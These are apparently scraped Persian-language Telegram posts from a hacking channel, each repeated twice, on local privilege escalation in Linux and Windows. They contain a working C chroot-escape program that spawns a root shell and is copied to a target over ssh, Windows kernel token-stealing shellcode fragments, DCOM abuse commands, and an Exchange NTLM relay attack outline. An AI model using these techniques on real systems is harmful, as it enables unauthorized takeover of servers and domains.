#Local #Privilege_Escalation
در تصویر پست تمام سناریو ها و روش هایی که در خصوص بالا بردن سطح دسترسی در دو سیستم عامل معروف یعنی ویندوز و لینوکس رو مشاهده میکنید,
گفتنیست یکی از ساده ترین روش ها که در بسیاری از مواقع جواب گویی هکر بوده در سیستم عامل ویندوز تکنیک Process Injection هستش که به واسطه اون یک CreateRemoteThread ساخته شده و از مجوز های پروسس دیگران استفاده میکند,
اما در لینوکس هم تکنیک File Permissions هم میتواند در اکثر مواقع مورد خوبی باشد, تا هکر با استفاده از یک فایل دارای دسترسی بالا خود را به خط فرمان رسانده و بر بستر آن شلکد اجرا کند...
https://attack.mitre.org/tactics/TA0004/
@Unk9vvN
در تصویر پست تمام سناریو ها و روش هایی که در خصوص بالا بردن سطح دسترسی در دو سیستم عامل معروف یعنی ویندوز و لینوکس رو مشاهده میکنید,
گفتنیست یکی از ساده ترین روش ها که در بسیاری از مواقع جواب گویی هکر بوده در سیستم عامل ویندوز تکنیک Process Injection هستش که به واسطه اون یک CreateRemoteThread ساخته شده و از مجوز های پروسس دیگران استفاده میکند,
اما در لینوکس هم تکنیک File Permissions هم میتواند در اکثر مواقع مورد خوبی باشد, تا هکر با استفاده از یک فایل دارای دسترسی بالا خود را به خط فرمان رسانده و بر بستر آن شلکد اجرا کند...
https://attack.mitre.org/tactics/TA0004/
@Unk9vvN
#Privilege Linux
یکی از راهکار ها استفاده از توابع سیستمی مانند chroot هستش تا به واسطه اون یک دایرکتوری رو پرمیشن داده و به واسطه همین پرمیشن تابه execl رو در return تابع main برگشت داده و خط فرمان /bin/sh رو با پرمیشن بالا اجرا و فایل های حساس سرور رو read کنیم, یک نکته دیگه برای انتقال فایل از پروتکل ssh استفاده میکنیم,
root@unk9vvn:~#
root@unk9vvn:~#
root@unk9vvn:~#
user@zeus:~$
@Unk9vvN
یکی از راهکار ها استفاده از توابع سیستمی مانند chroot هستش تا به واسطه اون یک دایرکتوری رو پرمیشن داده و به واسطه همین پرمیشن تابه execl رو در return تابع main برگشت داده و خط فرمان /bin/sh رو با پرمیشن بالا اجرا و فایل های حساس سرور رو read کنیم, یک نکته دیگه برای انتقال فایل از پروتکل ssh استفاده میکنیم,
root@unk9vvn:~#
nano escape.c
# Added#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
int main() {
int dir_fd, x;
setuid(0);
mkdir(".42", 0755);
dir_fd = open(".", O_RDONLY);
chroot(".42");
fchdir(dir_fd);
close(dir_fd);
for(x = 0; x < 1000; x++) chdir("..");
chroot(".");
return execl("/bin/sh", "-i", NULL);
}
# Ctrl+x -> y -> Enterroot@unk9vvn:~#
gcc escape.c -o escape;ssh user@192.168.131.170 "cat> escape" < escape
user@192.168.131.170's password: <PASS>root@unk9vvn:~#
ssh user@192.168.131.170
user@192.168.131.170's password: <PASS>user@zeus:~$
./escape
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash@Unk9vvN
#Privilege on #Token_Stealing
یکی از روش های رایج ارتقاء سطح دسترسی در ویندوز سرورهایی که سرویس #ActiveDirectory آنها فعال است, این مورد است که هر کاربر #AD میتواند امتیاز Load کردن درایور داشته و اگر این Policy محدود نشده باشد بتوان با استفاده از یک درایور در جدول EPROCESS یکی از پروسس های دارای توکن سطح SYSTEM را Hijack کرده و خط فرمان cmd را با استفاده از آن Token دزدیده شده با سطح Administator بر روی پروسس مجزا ساخته و اجرا نمود,
ما برای اینکار نیاز داریم که یک فایل در خصوص Enable کردن ویژگی SeLoadDriverPrivilege نوشته و اجرا کنیم که در تصویر پست در سمت چپ همین پردازش دیده میشود, و همچنین نیاز به یک درایور آسیب پذیر هستش که مکانیزم #SMEP را غیرفعال نموده و با استفاده از توابع کرنل پروسه دزدیدن Token را انجام دهد, برای اینکار من از یک درایور پابلیک استفاده کردم که لینک گیتهاب اون رو برای شما در انتها خواهم گذاشت,
نتیجه خلاصه وار ما آن است که اگر Policy های هوشیارانه از سمت هکرهای کلاه سفید در ویندوز سرورها اتخاذ نشود میتواند موردی مخرب باشد.
https://github.com/tandasat/ExploitCapcom
@Unk9vvN
یکی از روش های رایج ارتقاء سطح دسترسی در ویندوز سرورهایی که سرویس #ActiveDirectory آنها فعال است, این مورد است که هر کاربر #AD میتواند امتیاز Load کردن درایور داشته و اگر این Policy محدود نشده باشد بتوان با استفاده از یک درایور در جدول EPROCESS یکی از پروسس های دارای توکن سطح SYSTEM را Hijack کرده و خط فرمان cmd را با استفاده از آن Token دزدیده شده با سطح Administator بر روی پروسس مجزا ساخته و اجرا نمود,
ما برای اینکار نیاز داریم که یک فایل در خصوص Enable کردن ویژگی SeLoadDriverPrivilege نوشته و اجرا کنیم که در تصویر پست در سمت چپ همین پردازش دیده میشود, و همچنین نیاز به یک درایور آسیب پذیر هستش که مکانیزم #SMEP را غیرفعال نموده و با استفاده از توابع کرنل پروسه دزدیدن Token را انجام دهد, برای اینکار من از یک درایور پابلیک استفاده کردم که لینک گیتهاب اون رو برای شما در انتها خواهم گذاشت,
نتیجه خلاصه وار ما آن است که اگر Policy های هوشیارانه از سمت هکرهای کلاه سفید در ویندوز سرورها اتخاذ نشود میتواند موردی مخرب باشد.
https://github.com/tandasat/ExploitCapcom
@Unk9vvN
#Kernel_Land #Privilege #Shellcode (Win7)
یکی از روش های ایجاد یک پروسس با سطح دسترسی SYSTEM در سیستم عامل ویندوز ۷ اینه که با استفاده از explore کردن KPRC یا Kernel Processor Control بیایم و ProcbData رو که موقعیتش در ntdll!_KPCR+0x120 هست رو پیمایش کنیم و در موقعیت ProcbData+0x004 مقدار CurrentThread رو بدست بیاریم,
در مرحله بعد از ساختار _KTHREAD مقدار ApcState که در موقعیت +0x040 قرار داره رو هم بدست آورده و explore کنیم, در جریان explore کردن _KAPC_STATE در موقعیت +0x010 ما مقدار کرنل پروسس رو میتونیم در EAX برای ۳۲ بیت و RAX در ۶۴ بیت ذخیره کنیم,
در مرحله بعد میبایست UniqueProcessId مربوط به پروسسی که میخوایم ارتقاء بدیم رو با استفاده از تابع PsGetCurrentProcess بدست بیاریم, در نهایت هم از ساختمان EPROCESS میبایست موقعتی که توکن ها در آنها لحاظ میشوند رو بدست آورده و با استفاده از Flink که مربوط به اشاره گر پروسس قبل و بعد است رو بکار گرفته و یک توکن سیستمی رو پیدا و با توکن CurrentThread خودمون جا به جا کنیم...
@Unk9vvN
یکی از روش های ایجاد یک پروسس با سطح دسترسی SYSTEM در سیستم عامل ویندوز ۷ اینه که با استفاده از explore کردن KPRC یا Kernel Processor Control بیایم و ProcbData رو که موقعیتش در ntdll!_KPCR+0x120 هست رو پیمایش کنیم و در موقعیت ProcbData+0x004 مقدار CurrentThread رو بدست بیاریم,
mov eax, [fs:eax + 0x124]
در مرحله بعد از ساختار _KTHREAD مقدار ApcState که در موقعیت +0x040 قرار داره رو هم بدست آورده و explore کنیم, در جریان explore کردن _KAPC_STATE در موقعیت +0x010 ما مقدار کرنل پروسس رو میتونیم در EAX برای ۳۲ بیت و RAX در ۶۴ بیت ذخیره کنیم,
mov eax, [eax + 0x50]
در مرحله بعد میبایست UniqueProcessId مربوط به پروسسی که میخوایم ارتقاء بدیم رو با استفاده از تابع PsGetCurrentProcess بدست بیاریم, در نهایت هم از ساختمان EPROCESS میبایست موقعتی که توکن ها در آنها لحاظ میشوند رو بدست آورده و با استفاده از Flink که مربوط به اشاره گر پروسس قبل و بعد است رو بکار گرفته و یک توکن سیستمی رو پیدا و با توکن CurrentThread خودمون جا به جا کنیم...
@Unk9vvN
This media is not supported in your browser
VIEW IN TELEGRAM
#Enumerating Vulnerable #DCOM Applications #DCOMrade
با استفاده از DCOMrade شما میتونید از راه دور به دیوایس ویندوزی خود وصل شده و یک سرشماری بر روی AppID ها انجام داده تا CLSID هایی که پرمیژن LaunchPermission باز دارند رو پیدا کنید, تا از آن که البته بصورت پیشفرض وجود داره و این موضوع دو امکان رو به هکر میتونه بده,
یک اینکه شما میتونید برای Lateral Movement انجام دادن استفاده کنید که میتونه باعث دور زدن رفتار شناسی پایلودها به وسیله #EDR ها و غیره است, دوم اینکه میتوان با استفاده از این پرمیژن مکانیزم هایی مانند #UAC و برای #Privilege_Escalation انجام داد, حتی در مواقعی میتوان از این Security Misconfiguration در سرورهای آسیب پذیر میتوان برای Pivot زدن در شبکه هم استفاده کرد,روش استخراج اطلاعات
unk9vvn@avi:~$
https://github.com/sud0woodo/DCOMrade
@Unk9vvN
با استفاده از DCOMrade شما میتونید از راه دور به دیوایس ویندوزی خود وصل شده و یک سرشماری بر روی AppID ها انجام داده تا CLSID هایی که پرمیژن LaunchPermission باز دارند رو پیدا کنید, تا از آن که البته بصورت پیشفرض وجود داره و این موضوع دو امکان رو به هکر میتونه بده,
یک اینکه شما میتونید برای Lateral Movement انجام دادن استفاده کنید که میتونه باعث دور زدن رفتار شناسی پایلودها به وسیله #EDR ها و غیره است, دوم اینکه میتوان با استفاده از این پرمیژن مکانیزم هایی مانند #UAC و برای #Privilege_Escalation انجام داد, حتی در مواقعی میتوان از این Security Misconfiguration در سرورهای آسیب پذیر میتوان برای Pivot زدن در شبکه هم استفاده کرد,روش استخراج اطلاعات
unk9vvn@avi:~$
pwsh
PS /home/unk9vvn> $com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39', "192.168.99.13")
PS /home/unk9vvn> $obj = [System.Activator]::CreateInstance($com)
PS /home/unk9vvn> $item = $obj.Item()
PS /home/unk9vvn> $item
... ...https://github.com/sud0woodo/DCOMrade
@Unk9vvN
#Privilege on #Exchange API Call
سرور های Exchange همونطور که میدونید از سرویس SOAP که یک سرویس XML پایه هستش برای ارتباط با دیوایس های دیگه استفاده میکنه, مدیریت کردن این سرویس در امر امن سازی سرور بسیار مهم و حیاتی میتونه باشه,
برای مثال کاربران دامنه Active Directory بصورت پیش فرض از سطح دسترسی بالا استفاده میکنند, ئ اگر ارتباط با API بر بستر پروتکل TLS نباشه میشه حملاتی مانند Relay Attack پیاده کرد, و با استفاده از یک Refresher مقادیر Authentication ویندوز که NTLM نام داره رو بدست آورد,
مشکل در API سرور Exchange از آنجایی شروع شد که هکر با استفاده از PushSubscription میتونه درخواست Modify و بالا بردن سطح دسترسی یک کاربر بر روی دامنه AD رو داشته باشه, یعنی ارتباط مستقیم با DCsync یا Domain Controller Sync داشته باشه,
کافیه ارتباط با API گرفته و بعد از دریافت ارتباط کاربر سطح بالا با NTLM Relayx هکر, هکر دامنه مدنظر خودش رو با hash ادمین Modify کرده و تغییر خودش رو بر روی ِDomain Controller اعمال میکنه, جزئیات بیشتر این حمله رو اینجا بخونید.
Tools
@Unk9vvN
سرور های Exchange همونطور که میدونید از سرویس SOAP که یک سرویس XML پایه هستش برای ارتباط با دیوایس های دیگه استفاده میکنه, مدیریت کردن این سرویس در امر امن سازی سرور بسیار مهم و حیاتی میتونه باشه,
برای مثال کاربران دامنه Active Directory بصورت پیش فرض از سطح دسترسی بالا استفاده میکنند, ئ اگر ارتباط با API بر بستر پروتکل TLS نباشه میشه حملاتی مانند Relay Attack پیاده کرد, و با استفاده از یک Refresher مقادیر Authentication ویندوز که NTLM نام داره رو بدست آورد,
مشکل در API سرور Exchange از آنجایی شروع شد که هکر با استفاده از PushSubscription میتونه درخواست Modify و بالا بردن سطح دسترسی یک کاربر بر روی دامنه AD رو داشته باشه, یعنی ارتباط مستقیم با DCsync یا Domain Controller Sync داشته باشه,
کافیه ارتباط با API گرفته و بعد از دریافت ارتباط کاربر سطح بالا با NTLM Relayx هکر, هکر دامنه مدنظر خودش رو با hash ادمین Modify کرده و تغییر خودش رو بر روی ِDomain Controller اعمال میکنه, جزئیات بیشتر این حمله رو اینجا بخونید.
Tools
@Unk9vvN